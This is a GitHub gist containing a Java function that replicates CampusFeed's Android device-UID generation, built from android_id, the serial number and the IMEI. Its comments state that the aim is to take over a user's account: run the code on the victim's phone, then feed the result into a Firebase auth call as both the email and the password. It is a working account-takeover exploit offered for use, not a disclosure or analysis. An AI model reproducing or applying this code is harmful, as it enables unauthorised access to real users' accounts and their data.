Skip to content

Instantly share code, notes, and snippets.

@hackersoup
Last active November 27, 2017 04:32
Show Gist options
  • Save hackersoup/4be53fe131d2f71db90682a4c3fd281a to your computer and use it in GitHub Desktop.
Save hackersoup/4be53fe131d2f71db90682a4c3fd281a to your computer and use it in GitHub Desktop.
CampusFeed's device UDID generation. Use to take over a user's account.
/**
* getCampusFeedUid
* Replicates the UID generation algorithm for CampusFeed
* Run this function on the phone of a CampusFeed user to get the information needed to
* take over their account.
* Use the returned string in a Firebase Auth call as such:
* createUserWithEmailAndPassword(getCampusFeedUid() + "@user.com", getCampusFeedUid());
*
* Requires:
* android.provider.Settings.Secure
* android.os.Build
* android.telephony.TelephonyManager
*/
private String getCampusFeedUid() {
if (VERSION.SDK_INT >= 23) {
return Secure.getString(getApplicationContext().getContentResolver(), "android_id") + "#-#" + Build.SERIAL;
}
String str;
TelephonyManager telephonyManager = (TelephonyManager) getSystemService(PlaceFields.PHONE);
if (telephonyManager != null) {
str = telephonyManager.getDeviceId() + "#-#" + Secure.getString(getContentResolver(), "android_id");
} else {
str = null;
}
if (str == null || str.length() == 0) {
return Secure.getString(getContentResolver(), "android_id");
}
return str;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment